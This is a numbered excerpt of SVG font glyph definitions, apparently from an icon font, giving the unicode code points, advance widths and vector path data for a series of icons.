394 <glyph unicode="&#xf18c;" horiz-adv-x="1408" d="M1402 433q-32 -80 -76 -138t-91 -88.5t-99 -46.5t-101.5 -14.5t-96.5 8.5t-86.5 22t-69.5 27.5t-46 22.5l-17 10q-113 -228 -289.5 -359.5t-384.5 -132.5q-19 0 -32 13t-13 32t13 31.5t32 12.5q173 1 322.5 107.5t251.5 294.5q-36 -14 -72 -23t-83 -13t-91 2.5t-93 28.5 t-92 59t-84.5 100t-74.5 146q114 47 214 57t167.5 -7.5t124.5 -56.5t88.5 -77t56.5 -82q53 131 79 291q-7 -1 -18 -2.5t-46.5 -2.5t-69.5 0.5t-81.5 10t-88.5 23t-84 42.5t-75 65t-54.5 94.5t-28.5 127.5q70 28 133.5 36.5t112.5 -1t92 -30t73.5 -50t56 -61t42 -63t27.5 -56 t16 -39.5l4 -16q12 122 12 195q-8 6 -21.5 16t-49 44.5t-63.5 71.5t-54 93t-33 112.5t12 127t70 138.5q73 -25 127.5 -61.5t84.5 -76.5t48 -85t20.5 -89t-0.5 -85.5t-13 -76.5t-19 -62t-17 -42l-7 -15q1 -5 1 -50.5t-1 -71.5q3 7 10 18.5t30.5 43t50.5 58t71 55.5t91.5 44.5 t112 14.5t132.5 -24q-2 -78 -21.5 -141.5t-50 -104.5t-69.5 -71.5t-81.5 -45.5t-84.5 -24t-80 -9.5t-67.5 1t-46.5 4.5l-17 3q-23 -147 -73 -283q6 7 18 18.5t49.5 41t77.5 52.5t99.5 42t117.5 20t129 -23.5t137 -77.5z" />
395 <glyph unicode="&#xf18d;" horiz-adv-x="1280" d="M1259 283v-66q0 -85 -57.5 -144.5t-138.5 -59.5h-57l-260 -269v269h-529q-81 0 -138.5 59.5t-57.5 144.5v66h1238zM1259 609v-255h-1238v255h1238zM1259 937v-255h-1238v255h1238zM1259 1077v-67h-1238v67q0 84 57.5 143.5t138.5 59.5h846q81 0 138.5 -59.5t57.5 -143.5z " />
396 <glyph unicode="&#xf18e;" d="M1152 640q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198 t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
397 <glyph unicode="&#xf190;" d="M1152 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-192q0 -14 -9 -23t-23 -9q-12 0 -24 10l-319 319q-9 9 -9 23t9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h352q13 0 22.5 -9.5t9.5 -22.5zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198 t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
398 <glyph unicode="&#xf191;" d="M1024 960v-640q0 -26 -19 -45t-45 -19q-20 0 -37 12l-448 320q-27 19 -27 52t27 52l448 320q17 12 37 12q26 0 45 -19t19 -45zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5z M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
399 <glyph unicode="&#xf192;" d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5 t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
400 <glyph unicode="&#xf193;" horiz-adv-x="1664" d="M1023 349l102 -204q-58 -179 -210 -290t-339 -111q-156 0 -288.5 77.5t-210 210t-77.5 288.5q0 181 104.5 330t274.5 211l17 -131q-122 -54 -195 -165.5t-73 -244.5q0 -185 131.5 -316.5t316.5 -131.5q126 0 232.5 65t165 175.5t49.5 236.5zM1571 249l58 -114l-256 -128 q-13 -7 -29 -7q-40 0 -57 35l-239 477h-472q-24 0 -42.5 16.5t-21.5 40.5l-96 779q-2 16 6 42q14 51 57 82.5t97 31.5q66 0 113 -47t47 -113q0 -69 -52 -117.5t-120 -41.5l37 -289h423v-128h-407l16 -128h455q40 0 57 -35l228 -455z" />
401 <glyph unicode="&#xf194;" d="M1254 899q16 85 -21 132q-52 65 -187 45q-17 -3 -41 -12.5t-57.5 -30.5t-64.5 -48.5t-59.5 -70t-44.5 -91.5q80 7 113.5 -16t26.5 -99q-5 -52 -52 -143q-43 -78 -71 -99q-44 -32 -87 14q-23 24 -37.5 64.5t-19 73t-10 84t-8.5 71.5q-23 129 -34 164q-12 37 -35.5 69 t-50.5 40q-57 16 -127 -25q-54 -32 -136.5 -106t-122.5 -102v-7q16 -8 25.5 -26t21.5 -20q21 -3 54.5 8.5t58 10.5t41.5 -30q11 -18 18.5 -38.5t15 -48t12.5 -40.5q17 -46 53 -187q36 -146 57 -197q42 -99 103 -125q43 -12 85 -1.5t76 31.5q131 77 250 237 q104 139 172.5 292.5t82.5 226.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
402 <glyph unicode="&#xf195;" horiz-adv-x="1152" d="M1152 704q0 -191 -94.5 -353t-256.5 -256.5t-353 -94.5h-160q-14 0 -23 9t-9 23v611l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v93l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v250q0 14 9 23t23 9h160 q14 0 23 -9t9 -23v-181l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-93l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-487q188 13 318 151t130 328q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
403 <glyph unicode="&#xf196;" horiz-adv-x="1408" d="M1152 736v-64q0 -14 -9 -23t-23 -9h-352v-352q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v352h-352q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h352v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-352h352q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832 q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
404 <glyph unicode="&#xf197;" horiz-adv-x="2176" d="M620 416q-110 -64 -268 -64h-128v64h-64q-13 0 -22.5 23.5t-9.5 56.5q0 24 7 49q-58 2 -96.5 10.5t-38.5 20.5t38.5 20.5t96.5 10.5q-7 25 -7 49q0 33 9.5 56.5t22.5 23.5h64v64h128q158 0 268 -64h1113q42 -7 106.5 -18t80.5 -14q89 -15 150 -40.5t83.5 -47.5t22.5 -40 t-22.5 -40t-83.5 -47.5t-150 -40.5q-16 -3 -80.5 -14t-106.5 -18h-1113zM1739 668q53 -36 53 -92t-53 -92l81 -30q68 48 68 122t-68 122zM625 400h1015q-217 -38 -456 -80q-57 0 -113 -24t-83 -48l-28 -24l-288 -288q-26 -26 -70.5 -45t-89.5 -19h-96l-93 464h29 q157 0 273 64zM352 816h-29l93 464h96q46 0 90 -19t70 -45l288 -288q4 -4 11 -10.5t30.5 -23t48.5 -29t61.5 -23t72.5 -10.5l456 -80h-1015q-116 64 -273 64z" />
405 <glyph unicode="&#xf198;" horiz-adv-x="1664" d="M1519 760q62 0 103.5 -40.5t41.5 -101.5q0 -97 -93 -130l-172 -59l56 -167q7 -21 7 -47q0 -59 -42 -102t-101 -43q-47 0 -85.5 27t-53.5 72l-55 165l-310 -106l55 -164q8 -24 8 -47q0 -59 -42 -102t-102 -43q-47 0 -85 27t-53 72l-55 163l-153 -53q-29 -9 -50 -9 q-61 0 -101.5 40t-40.5 101q0 47 27.5 85t71.5 53l156 53l-105 313l-156 -54q-26 -8 -48 -8q-60 0 -101 40.5t-41 100.5q0 47 27.5 85t71.5 53l157 53l-53 159q-8 24 -8 47q0 60 42 102.5t102 42.5q47 0 85 -27t53 -72l54 -160l310 105l-54 160q-8 24 -8 47q0 59 42.5 102 t101.5 43q47 0 85.5 -27.5t53.5 -71.5l53 -161l162 55q21 6 43 6q60 0 102.5 -39.5t42.5 -98.5q0 -45 -30 -81.5t-74 -51.5l-157 -54l105 -316l164 56q24 8 46 8zM725 498l310 105l-105 315l-310 -107z" />
406 <glyph unicode="&#xf199;" d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM1280 352v436q-31 -35 -64 -55q-34 -22 -132.5 -85t-151.5 -99q-98 -69 -164 -69v0v0q-66 0 -164 69 q-46 32 -141.5 92.5t-142.5 92.5q-12 8 -33 27t-31 27v-436q0 -40 28 -68t68 -28h832q40 0 68 28t28 68zM1280 925q0 41 -27.5 70t-68.5 29h-832q-40 0 -68 -28t-28 -68q0 -37 30.5 -76.5t67.5 -64.5q47 -32 137.5 -89t129.5 -83q3 -2 17 -11.5t21 -14t21 -13t23.5 -13 t21.5 -9.5t22.5 -7.5t20.5 -2.5t20.5 2.5t22.5 7.5t21.5 9.5t23.5 13t21 13t21 14t17 11.5l267 174q35 23 66.5 62.5t31.5 73.5z" />
407 <glyph unicode="&#xf19a;" horiz-adv-x="1792" d="M127 640q0 163 67 313l367 -1005q-196 95 -315 281t-119 411zM1415 679q0 -19 -2.5 -38.5t-10 -49.5t-11.5 -44t-17.5 -59t-17.5 -58l-76 -256l-278 826q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-75 1 -202 10q-12 1 -20.5 -5t-11.5 -15t-1.5 -18.5t9 -16.5 t19.5 -8l80 -8l120 -328l-168 -504l-280 832q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-7 0 -23 0.5t-26 0.5q105 160 274.5 253.5t367.5 93.5q147 0 280.5 -53t238.5 -149h-10q-55 0 -92 -40.5t-37 -95.5q0 -12 2 -24t4 -21.5t8 -23t9 -21t12 -22.5t12.5 -21 t14.5 -24t14 -23q63 -107 63 -212zM909 573l237 -647q1 -6 5 -11q-126 -44 -255 -44q-112 0 -217 32zM1570 1009q95 -174 95 -369q0 -209 -104 -385.5t-279 -278.5l235 678q59 169 59 276q0 42 -6 79zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286 t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 -215q173 0 331.5 68t273 182.5t182.5 273t68 331.5t-68 331.5t-182.5 273t-273 182.5t-331.5 68t-331.5 -68t-273 -182.5t-182.5 -273t-68 -331.5t68 -331.5t182.5 -273 t273 -182.5t331.5 -68z" />
408 <glyph unicode="&#xf19b;" horiz-adv-x="1792" d="M1086 1536v-1536l-272 -128q-228 20 -414 102t-293 208.5t-107 272.5q0 140 100.5 263.5t275 205.5t391.5 108v-172q-217 -38 -356.5 -150t-139.5 -255q0 -152 154.5 -267t388.5 -145v1360zM1755 954l37 -390l-525 114l147 83q-119 70 -280 99v172q277 -33 481 -157z" />
409 <glyph unicode="&#xf19c;" horiz-adv-x="2048" d="M960 1536l960 -384v-128h-128q0 -26 -20.5 -45t-48.5 -19h-1526q-28 0 -48.5 19t-20.5 45h-128v128zM256 896h256v-768h128v768h256v-768h128v768h256v-768h128v768h256v-768h59q28 0 48.5 -19t20.5 -45v-64h-1664v64q0 26 20.5 45t48.5 19h59v768zM1851 -64 q28 0 48.5 -19t20.5 -45v-128h-1920v128q0 26 20.5 45t48.5 19h1782z" />
410 <glyph unicode="&#xf19d;" horiz-adv-x="2304" d="M1774 700l18 -316q4 -69 -82 -128t-235 -93.5t-323 -34.5t-323 34.5t-235 93.5t-82 128l18 316l574 -181q22 -7 48 -7t48 7zM2304 1024q0 -23 -22 -31l-1120 -352q-4 -1 -10 -1t-10 1l-652 206q-43 -34 -71 -111.5t-34 -178.5q63 -36 63 -109q0 -69 -58 -107l58 -433 q2 -14 -8 -25q-9 -11 -24 -11h-192q-15 0 -24 11q-10 11 -8 25l58 433q-58 38 -58 107q0 73 65 111q11 207 98 330l-333 104q-22 8 -22 31t22 31l1120 352q4 1 10 1t10 -1l1120 -352q22 -8 22 -31z" />
411 <glyph unicode="&#xf19e;" d="M859 579l13 -707q-62 11 -105 11q-41 0 -105 -11l13 707q-40 69 -168.5 295.5t-216.5 374.5t-181 287q58 -15 108 -15q43 0 111 15q63 -111 133.5 -229.5t167 -276.5t138.5 -227q37 61 109.5 177.5t117.5 190t105 176t107 189.5q54 -14 107 -14q56 0 114 14v0 q-28 -39 -60 -88.5t-49.5 -78.5t-56.5 -96t-49 -84q-146 -248 -353 -610z" />
412 <glyph unicode="&#xf1a0;" horiz-adv-x="1280" d="M981 197q0 25 -7 49t-14.5 42t-27 41.5t-29.5 35t-38.5 34.5t-36.5 29t-41.5 30t-36.5 26q-16 2 -49 2q-53 0 -104.5 -7t-107 -25t-97 -46t-68.5 -74.5t-27 -105.5q0 -56 23.5 -102t61 -75.5t87 -50t100 -29t101.5 -8.5q58 0 111.5 13t99 39t73 73t27.5 109zM864 1055 q0 59 -17 125.5t-48 129t-84 103.5t-117 41q-42 0 -82.5 -19.5t-66.5 -52.5q-46 -59 -46 -160q0 -46 10 -97.5t31.5 -103t52 -92.5t75 -67t96.5 -26q37 0 77.5 16.5t65.5 43.5q53 56 53 159zM752 1536h417l-137 -88h-132q75 -63 113 -133t38 -160q0 -72 -24.5 -129.5 t-59.5 -93t-69.5 -65t-59 -61.5t-24.5 -66q0 -36 32 -70.5t77 -68t90.5 -73.5t77.5 -104t32 -142q0 -91 -49 -173q-71 -122 -209.5 -179.5t-298.5 -57.5q-132 0 -246.5 41.5t-172.5 137.5q-36 59 -36 131q0 81 44.5 150t118.5 115q131 82 404 100q-32 41 -47.5 73.5 t-15.5 73.5q0 40 21 85q-46 -4 -68 -4q-148 0 -249.5 96.5t-101.5 244.5q0 82 36 159t99 131q76 66 182 98t218 32z" />
413 <glyph unicode="&#xf1a1;" horiz-adv-x="1984" d="M831 572q0 -56 -40.5 -96t-96.5 -40q-57 0 -98 40t-41 96q0 57 41.5 98t97.5 41t96.5 -41t40.5 -98zM1292 711q56 0 96.5 -41t40.5 -98q0 -56 -40.5 -96t-96.5 -40q-57 0 -98 40t-41 96q0 57 41.5 98t97.5 41zM1984 722q0 -62 -31 -114t-83 -82q5 -33 5 -61 q0 -121 -68.5 -230.5t-197.5 -193.5q-125 -82 -285.5 -125.5t-335.5 -43.5q-176 0 -336.5 43.5t-284.5 125.5q-129 84 -197.5 193t-68.5 231q0 29 5 66q-48 31 -77 81.5t-29 109.5q0 94 66 160t160 66q83 0 148 -55q248 158 592 164l134 423q4 14 17.5 21.5t28.5 4.5 l347 -82q22 50 68.5 81t102.5 31q77 0 131.5 -54.5t54.5 -131.5t-54.5 -132t-131.5 -55q-76 0 -130.5 54t-55.5 131l-315 74l-116 -366q327 -14 560 -166q64 58 151 58q94 0 160 -66t66 -160zM1664 1459q-45 0 -77 -32t-32 -77t32 -77t77 -32t77 32t32 77t-32 77t-77 32z M77 722q0 -67 51 -111q49 131 180 235q-36 25 -82 25q-62 0 -105.5 -43.5t-43.5 -105.5zM1567 105q112 73 171.5 166t59.5 194t-59.5 193.5t-171.5 165.5q-116 75 -265.5 115.5t-313.5 40.5t-313.5 -40.5t-265.5 -115.5q-112 -73 -171.5 -165.5t-59.5 -193.5t59.5 -194 t171.5 -166q116 -75 265.5 -115.5t313.5 -40.5t313.5 40.5t265.5 115.5zM1850 605q57 46 57 117q0 62 -43.5 105.5t-105.5 43.5q-49 0 -86 -28q131 -105 178 -238zM1258 237q11 11 27 11t27 -11t11 -27.5t-11 -27.5q-99 -99 -319 -99h-2q-220 0 -319 99q-11 11 -11 27.5 t11 27.5t27 11t27 -11q77 -77 265 -77h2q188 0 265 77z" />
414 <glyph unicode="&#xf1a2;" d="M950 393q7 7 17.5 7t17.5 -7t7 -18t-7 -18q-65 -64 -208 -64h-1h-1q-143 0 -207 64q-8 7 -8 18t8 18q7 7 17.5 7t17.5 -7q49 -51 172 -51h1h1q122 0 173 51zM671 613q0 -37 -26 -64t-63 -27t-63 27t-26 64t26 63t63 26t63 -26t26 -63zM1214 1049q-29 0 -50 21t-21 50 q0 30 21 51t50 21q30 0 51 -21t21 -51q0 -29 -21 -50t-51 -21zM1216 1408q132 0 226 -94t94 -227v-894q0 -133 -94 -227t-226 -94h-896q-132 0 -226 94t-94 227v894q0 133 94 227t226 94h896zM1321 596q35 14 57 45.5t22 70.5q0 51 -36 87.5t-87 36.5q-60 0 -98 -48 q-151 107 -375 115l83 265l206 -49q1 -50 36.5 -85t84.5 -35q50 0 86 35.5t36 85.5t-36 86t-86 36q-36 0 -66 -20.5t-45 -53.5l-227 54q-9 2 -17.5 -2.5t-11.5 -14.5l-95 -302q-224 -4 -381 -113q-36 43 -93 43q-51 0 -87 -36.5t-36 -87.5q0 -37 19.5 -67.5t52.5 -45.5 q-7 -25 -7 -54q0 -98 74 -181.5t201.5 -132t278.5 -48.5q150 0 277.5 48.5t201.5 132t74 181.5q0 27 -6 54zM971 702q37 0 63 -26t26 -63t-26 -64t-63 -27t-63 27t-26 64t26 63t63 26z" />
415 <glyph unicode="&#xf1a3;" d="M866 697l90 27v62q0 79 -58 135t-138 56t-138 -55.5t-58 -134.5v-283q0 -20 -14 -33.5t-33 -13.5t-32.5 13.5t-13.5 33.5v120h-151v-122q0 -82 57.5 -139t139.5 -57q81 0 138.5 56.5t57.5 136.5v280q0 19 13.5 33t33.5 14q19 0 32.5 -14t13.5 -33v-54zM1199 502v122h-150 v-126q0 -20 -13.5 -33.5t-33.5 -13.5q-19 0 -32.5 14t-13.5 33v123l-90 -26l-60 28v-123q0 -80 58 -137t139 -57t138.5 57t57.5 139zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103 t385.5 -103t279.5 -279.5t103 -385.5z" />
416 <glyph unicode="&#xf1a4;" horiz-adv-x="1920" d="M1062 824v118q0 42 -30 72t-72 30t-72 -30t-30 -72v-612q0 -175 -126 -299t-303 -124q-178 0 -303.5 125.5t-125.5 303.5v266h328v-262q0 -43 30 -72.5t72 -29.5t72 29.5t30 72.5v620q0 171 126.5 292t301.5 121q176 0 302 -122t126 -294v-136l-195 -58zM1592 602h328 v-266q0 -178 -125.5 -303.5t-303.5 -125.5q-177 0 -303 124.5t-126 300.5v268l131 -61l195 58v-270q0 -42 30 -71.5t72 -29.5t72 29.5t30 71.5v275z" />
417 <glyph unicode="&#xf1a5;" d="M1472 160v480h-704v704h-480q-93 0 -158.5 -65.5t-65.5 -158.5v-480h704v-704h480q93 0 158.5 65.5t65.5 158.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5 t84.5 -203.5z" />
418 <glyph unicode="&#xf1a6;" horiz-adv-x="2048" d="M328 1254h204v-983h-532v697h328v286zM328 435v369h-123v-369h123zM614 968v-697h205v697h-205zM614 1254v-204h205v204h-205zM901 968h533v-942h-533v163h328v82h-328v697zM1229 435v369h-123v-369h123zM1516 968h532v-942h-532v163h327v82h-327v697zM1843 435v369h-123 v-369h123z" />
419 <glyph unicode="&#xf1a7;" d="M1046 516q0 -64 -38 -109t-91 -45q-43 0 -70 15v277q28 17 70 17q53 0 91 -45.5t38 -109.5zM703 944q0 -64 -38 -109.5t-91 -45.5q-43 0 -70 15v277q28 17 70 17q53 0 91 -45t38 -109zM1265 513q0 134 -88 229t-213 95q-20 0 -39 -3q-23 -78 -78 -136q-87 -95 -211 -101 v-636l211 41v206q51 -19 117 -19q125 0 213 95t88 229zM922 940q0 134 -88.5 229t-213.5 95q-74 0 -141 -36h-186v-840l211 41v206q55 -19 116 -19q125 0 213.5 95t88.5 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960 q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
420 <glyph unicode="&#xf1a8;" horiz-adv-x="2038" d="M1222 607q75 3 143.5 -20.5t118 -58.5t101 -94.5t84 -108t75.5 -120.5q33 -56 78.5 -109t75.5 -80.5t99 -88.5q-48 -30 -108.5 -57.5t-138.5 -59t-114 -47.5q-44 37 -74 115t-43.5 164.5t-33 180.5t-42.5 168.5t-72.5 123t-122.5 48.5l-10 -2l-6 -4q4 -5 13 -14 q6 -5 28 -23.5t25.5 -22t19 -18t18 -20.5t11.5 -21t10.5 -27.5t4.5 -31t4 -40.5l1 -33q1 -26 -2.5 -57.5t-7.5 -52t-12.5 -58.5t-11.5 -53q-35 1 -101 -9.5t-98 -10.5q-39 0 -72 10q-2 16 -2 47q0 74 3 96q2 13 31.5 41.5t57 59t26.5 51.5q-24 2 -43 -24 q-36 -53 -111.5 -99.5t-136.5 -46.5q-25 0 -75.5 63t-106.5 139.5t-84 96.5q-6 4 -27 30q-482 -112 -513 -112q-16 0 -28 11t-12 27q0 15 8.5 26.5t22.5 14.5l486 106q-8 14 -8 25t5.5 17.5t16 11.5t20 7t23 4.5t18.5 4.5q4 1 15.5 7.5t17.5 6.5q15 0 28 -16t20 -33 q163 37 172 37q17 0 29.5 -11t12.5 -28q0 -15 -8.5 -26t-23.5 -14l-182 -40l-1 -16q-1 -26 81.5 -117.5t104.5 -91.5q47 0 119 80t72 129q0 36 -23.5 53t-51 18.5t-51 11.5t-23.5 34q0 16 10 34l-68 19q43 44 43 117q0 26 -5 58q82 16 144 16q44 0 71.5 -1.5t48.5 -8.5 t31 -13.5t20.5 -24.5t15.5 -33.5t17 -47.5t24 -60l50 25q-3 -40 -23 -60t-42.5 -21t-40 -6.5t-16.5 -20.5zM1282 842q-5 5 -13.5 15.5t-12 14.5t-10.5 11.5t-10 10.5l-8 8t-8.5 7.5t-8 5t-8.5 4.5q-7 3 -14.5 5t-20.5 2.5t-22 0.5h-32.5h-37.5q-126 0 -217 -43 q16 30 36 46.5t54 29.5t65.5 36t46 36.5t50 55t43.5 50.5q12 -9 28 -31.5t32 -36.5t38 -13l12 1v-76l22 -1q247 95 371 190q28 21 50 39t42.5 37.5t33 31t29.5 34t24 31t24.5 37t23 38t27 47.5t29.5 53l7 9q-2 -53 -43 -139q-79 -165 -205 -264t-306 -142q-14 -3 -42 -7.5 t-50 -9.5t-39 -14q3 -19 24.5 -46t21.5 -34q0 -11 -26 -30zM1061 -79q39 26 131.5 47.5t146.5 21.5q9 0 22.5 -15.5t28 -42.5t26 -50t24 -51t14.5 -33q-121 -45 -244 -45q-61 0 -125 11zM822 568l48 12l109 -177l-73 -48zM1323 51q3 -15 3 -16q0 -7 -17.5 -14.5t-46 -13 t-54 -9.5t-53.5 -7.5t-32 -4.5l-7 43q21 2 60.5 8.5t72 10t60.5 3.5h14zM866 679l-96 -20l-6 17q10 1 32.5 7t34.5 6q19 0 35 -10zM1061 45h31l10 -83l-41 -12v95zM1950 1535v1v-1zM1950 1535l-1 -5l-2 -2l1 3zM1950 1535l1 1z" />
421 <glyph unicode="&#xf1a9;" d="M1167 -50q-5 19 -24 5q-30 -22 -87 -39t-131 -17q-129 0 -193 49q-5 4 -13 4q-11 0 -26 -12q-7 -6 -7.5 -16t7.5 -20q34 -32 87.5 -46t102.5 -12.5t99 4.5q41 4 84.5 20.5t65 30t28.5 20.5q12 12 7 29zM1128 65q-19 47 -39 61q-23 15 -76 15q-47 0 -71 -10 q-29 -12 -78 -56q-26 -24 -12 -44q9 -8 17.5 -4.5t31.5 23.5q3 2 10.5 8.5t10.5 8.5t10 7t11.5 7t12.5 5t15 4.5t16.5 2.5t20.5 1q27 0 44.5 -7.5t23 -14.5t13.5 -22q10 -17 12.5 -20t12.5 1q23 12 14 34zM1483 346q0 22 -5 44.5t-16.5 45t-34 36.5t-52.5 14 q-33 0 -97 -41.5t-129 -83.5t-101 -42q-27 -1 -63.5 19t-76 49t-83.5 58t-100 49t-111 19q-115 -1 -197 -78.5t-84 -178.5q-2 -112 74 -164q29 -20 62.5 -28.5t103.5 -8.5q57 0 132 32.5t134 71t120 70.5t93 31q26 -1 65 -31.5t71.5 -67t68 -67.5t55.5 -32q35 -3 58.5 14 t55.5 63q28 41 42.5 101t14.5 106zM1536 506q0 -164 -62 -304.5t-166 -236t-242.5 -149.5t-290.5 -54t-293 57.5t-247.5 157t-170.5 241.5t-64 302q0 89 19.5 172.5t49 145.5t70.5 118.5t78.5 94t78.5 69.5t64.5 46.5t42.5 24.5q14 8 51 26.5t54.5 28.5t48 30t60.5 44 q36 28 58 72.5t30 125.5q129 -155 186 -193q44 -29 130 -68t129 -66q21 -13 39 -25t60.5 -46.5t76 -70.5t75 -95t69 -122t47 -148.5t19.5 -177.5z" />
422 <glyph unicode="&#xf1aa;" d="M1070 463l-160 -160l-151 -152l-30 -30q-65 -64 -151.5 -87t-171.5 -2q-16 -70 -72 -115t-129 -45q-85 0 -145 60.5t-60 145.5q0 72 44.5 128t113.5 72q-22 86 1 173t88 152l12 12l151 -152l-11 -11q-37 -37 -37 -89t37 -90q37 -37 89 -37t89 37l30 30l151 152l161 160z M729 1145l12 -12l-152 -152l-12 12q-37 37 -89 37t-89 -37t-37 -89.5t37 -89.5l29 -29l152 -152l160 -160l-151 -152l-161 160l-151 152l-30 30q-68 67 -90 159.5t5 179.5q-70 15 -115 71t-45 129q0 85 60 145.5t145 60.5q76 0 133.5 -49t69.5 -123q84 20 169.5 -3.5 t149.5 -87.5zM1536 78q0 -85 -60 -145.5t-145 -60.5q-74 0 -131 47t-71 118q-86 -28 -179.5 -6t-161.5 90l-11 12l151 152l12 -12q37 -37 89 -37t89 37t37 89t-37 89l-30 30l-152 152l-160 160l152 152l160 -160l152 -152l29 -30q64 -64 87.5 -150.5t2.5 -171.5 q76 -11 126.5 -68.5t50.5 -134.5zM1534 1202q0 -77 -51 -135t-127 -69q26 -85 3 -176.5t-90 -158.5l-12 -12l-151 152l12 12q37 37 37 89t-37 89t-89 37t-89 -37l-30 -30l-152 -152l-160 -160l-152 152l161 160l152 152l29 30q67 67 159 89.5t178 -3.5q11 75 68.5 126 t135.5 51q85 0 145 -60.5t60 -145.5z" />
423 <glyph unicode="&#xf1ab;" d="M654 458q-1 -3 -12.5 0.5t-31.5 11.5l-20 9q-44 20 -87 49q-7 5 -41 31.5t-38 28.5q-67 -103 -134 -181q-81 -95 -105 -110q-4 -2 -19.5 -4t-18.5 0q6 4 82 92q21 24 85.5 115t78.5 118q17 30 51 98.5t36 77.5q-8 1 -110 -33q-8 -2 -27.5 -7.5t-34.5 -9.5t-17 -5 q-2 -2 -2 -10.5t-1 -9.5q-5 -10 -31 -15q-23 -7 -47 0q-18 4 -28 21q-4 6 -5 23q6 2 24.5 5t29.5 6q58 16 105 32q100 35 102 35q10 2 43 19.5t44 21.5q9 3 21.5 8t14.5 5.5t6 -0.5q2 -12 -1 -33q0 -2 -12.5 -27t-26.5 -53.5t-17 -33.5q-25 -50 -77 -131l64 -28 q12 -6 74.5 -32t67.5 -28q4 -1 10.5 -25.5t4.5 -30.5zM449 944q3 -15 -4 -28q-12 -23 -50 -38q-30 -12 -60 -12q-26 3 -49 26q-14 15 -18 41l1 3q3 -3 19.5 -5t26.5 0t58 16q36 12 55 14q17 0 21 -17zM1147 815l63 -227l-139 42zM39 15l694 232v1032l-694 -233v-1031z M1280 332l102 -31l-181 657l-100 31l-216 -536l102 -31l45 110l211 -65zM777 1294l573 -184v380zM1088 -29l158 -13l-54 -160l-40 66q-130 -83 -276 -108q-58 -12 -91 -12h-84q-79 0 -199.5 39t-183.5 85q-8 7 -8 16q0 8 5 13.5t13 5.5q4 0 18 -7.5t30.5 -16.5t20.5 -11 q73 -37 159.5 -61.5t157.5 -24.5q95 0 167 14.5t157 50.5q15 7 30.5 15.5t34 19t28.5 16.5zM1536 1050v-1079l-774 246q-14 -6 -375 -127.5t-368 -121.5q-13 0 -18 13q0 1 -1 3v1078q3 9 4 10q5 6 20 11q106 35 149 50v384l558 -198q2 0 160.5 55t316 108.5t161.5 53.5 q20 0 20 -21v-418z" />
